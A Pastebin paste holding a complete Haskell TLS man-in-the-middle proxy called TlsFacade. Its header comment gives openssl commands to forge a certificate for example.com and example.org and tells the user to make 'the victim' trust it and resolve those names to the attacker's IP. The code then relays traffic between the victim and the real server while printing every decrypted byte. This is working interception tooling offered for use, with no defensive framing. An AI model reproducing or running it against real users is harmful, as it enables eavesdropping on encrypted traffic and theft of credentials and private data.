Advertisement
Guest User

Untitled

a guest
Jul 1st, 2012
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. {-# LANGUAGE ScopedTypeVariables, DeriveDataTypeable #-}
  2. {-
  3.  
  4. Before you start:
  5.  
  6.     openssl genrsa -out facade.key 1024
  7.     openssl req -new -nodes -key facade.key -out facade.csr \
  8.         -days 365 -subj "/CN=example.com/CN=example.org"
  9.     openssl x509 -req -in facade.csr -signkey facade.key -out facade.crt -outform der \
  10.         -days 365
  11.     openssl pkey -in facade.key -inform pem -out facade.derkey -outform der
  12.  
  13. And then:
  14.  
  15. * Ensure the victim trusts `facade.crt`.
  16. * Ensure the victim resolves `example.com` and `example.org` to your IP.
  17.  
  18. And then:
  19.  
  20.     runghc TlsFacade facade.crt facade.derkey 443 1.2.3.4 443
  21.  
  22. -}
  23. module TlsFacade where
  24.  
  25. import Prelude hiding (catch)
  26. import System.IO.Error (isEOFError)
  27. import Control.Exception
  28. import Data.Typeable
  29.  
  30. import Data.Word
  31. import Numeric
  32. import qualified Data.Text as TS
  33. import qualified Data.Text.Encoding as TSE
  34. import Control.Monad
  35. import Crypto.Random (CryptoRandomGen (..), SystemRandom)
  36. import Network
  37. import qualified Network.TLS as TLS
  38. import Network.TLS.Extra (ciphersuite_all )
  39. import System.Environment
  40. import qualified Data.ByteString.Lazy as BL
  41. import qualified Data.ByteString as BS
  42. import System.IO
  43. import Data.ASN1.DER (decodeASN1Stream)
  44. import Data.Certificate.X509 (decodeCertificate)
  45. import Data.Certificate.KeyRSA (decodePrivate)
  46. import Control.Concurrent
  47. import Control.Concurrent.Chan
  48. import Control.Concurrent.MVar
  49.  
  50. showAsHex :: BS.ByteString -> BS.ByteString
  51. showAsHex = TSE.encodeUtf8 . TS.pack . concat . map showF8 . BS.unpack
  52.   where
  53.     showF8 :: Word8 -> String
  54.     showF8 w | w < 0x10 = "0" ++ showHex w ""
  55.              | otherwise = showHex w ""
  56.  
  57. doit raddr cert key port rport = do
  58.     pin_cert <- withBinaryFile cert ReadMode $ \h -> do
  59.         s <- BL.hGetContents h
  60.         case decodeCertificate s of
  61.             Left _ -> error "bad cert"
  62.             Right c -> return $! c
  63.     pin_key <- withBinaryFile key ReadMode $ \h -> do
  64.         s <- BL.hGetContents h
  65.         case decodePrivate s of
  66.             Left _ -> error "bad key"
  67.             Right (_, c) -> return $! TLS.PrivRSA c
  68.     print "ready"
  69.     let params = TLS.defaultParams { TLS.pCiphers = ciphersuite_all
  70.                                    , TLS.pCertificates = [(pin_cert, Just pin_key)]
  71.                                    , TLS.pAllowedVersions = [TLS.SSL3, TLS.TLS10, TLS.TLS11, TLS.TLS12]
  72.                                    }
  73.     let rparams = TLS.defaultParams { TLS.pCiphers = ciphersuite_all
  74.                                     , TLS.pAllowedVersions = [TLS.SSL3, TLS.TLS10, TLS.TLS11, TLS.TLS12]
  75.                                     }
  76.     sysrand <- (newGenIO :: IO SystemRandom)
  77.     lissok <- listenOn (Service port)
  78.     loop lissok params rparams sysrand raddr rport
  79.   where
  80.     loop sock params rparams sysrand raddr rport = do
  81.         (pin_hnd, _, _) <- accept sock
  82.         forkIO (serve params rparams sysrand pin_hnd raddr rport
  83.                     `catch` handler_tls `catch` handler_hsk
  84.                     `finally` hClose pin_hnd)
  85.         loop sock params rparams sysrand raddr rport
  86.  
  87.     handler_tls :: TLS.TLSError -> IO ()
  88.     handler_tls e = putStrLn $ "-- ERROR: " ++ show e    
  89.  
  90.     handler_hsk :: TLS.HandshakeFailed -> IO ()
  91.     handler_hsk (TLS.HandshakeFailed e) = putStrLn $ "-- Handshake Failed: " ++ show e
  92.  
  93. data ReadResult = PeerDisconnected | PeerSent BS.ByteString deriving Show
  94. data Interrupt = SendThis BS.ByteString | DisconnectNow deriving (Typeable, Show)
  95. instance Exception Interrupt
  96.  
  97. serve params rparams sysrand pin_hnd raddr rport = do
  98.     raw_ctx_pin <- TLS.server params sysrand pin_hnd
  99.     alice_died <- newEmptyMVar
  100.     bob_died <- newEmptyMVar
  101.    
  102.     port_hnd <- connectTo raddr (Service rport)
  103.     raw_ctx_port <- TLS.client rparams sysrand port_hnd
  104.     TLS.handshake raw_ctx_port
  105.     putStrLn $ "* " ++ "Bob" ++ " connected."
  106.    
  107.     TLS.handshake raw_ctx_pin
  108.     putStrLn $ "* " ++ "Alice" ++ " connected."
  109.  
  110.     ctx_pin <- newMVar raw_ctx_pin
  111.     ctx_port <- newMVar raw_ctx_port
  112.     read_pin <- newChan
  113.     read_port <- newChan
  114.    
  115.     forkIO (readThread pin_hnd ctx_pin read_pin alice_died)
  116.     forkIO (readThread port_hnd ctx_port read_port bob_died)
  117.     forkIO (writeThread ctx_port read_pin "Alice")
  118.     forkIO (writeThread ctx_pin read_port "Bob")
  119.    
  120.     readMVar alice_died
  121.     readMVar bob_died
  122.     return ()
  123.   where
  124.     readThread h mctx chan flag = do
  125.         loop mctx chan flag h
  126.       where
  127.         loop mctx chan flag h = do
  128.             hWaitForInput h (0-1)  -- TODO Yikes! We must use closeFdWith now...
  129.             withMVar mctx TLS.recvData >>= writeChan chan
  130.             loop mctx chan flag h
  131.  
  132.     writeThread mctx chan name = do
  133.         d <- readChan chan
  134.         let d' = BL.fromChunks [d]
  135.        putStrLn $ "<" ++ name ++ "> " ++ show (showAsHex d)
  136.        withMVar mctx $ \ctx -> TLS.sendData ctx d'
  137.         writeThread mctx chan name
  138.  
  139. showUsage = putStrLn "Usage: thisapp CERT KEY LPORT RADDR RPORT"
  140.          >> putStrLn "    where RADDR is the actual TLS server's address,"
  141.          >> putStrLn "          RPORT is the actual TLS server's port,"
  142.          >> putStrLn "          CERT is the filename of the certificate to work with (DER),"
  143.          >> putStrLn "          KEY is the filename of the private key to work with (DER), and"
  144.          >> putStrLn "          LPORT is the port to listen on"
  145.    
  146. main = do
  147.     args <- getArgs
  148.     case args of
  149.         [cert, key, lport, raddr, rport] -> withSocketsDo $ doit raddr cert key lport rport
  150.         _ -> showUsage
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement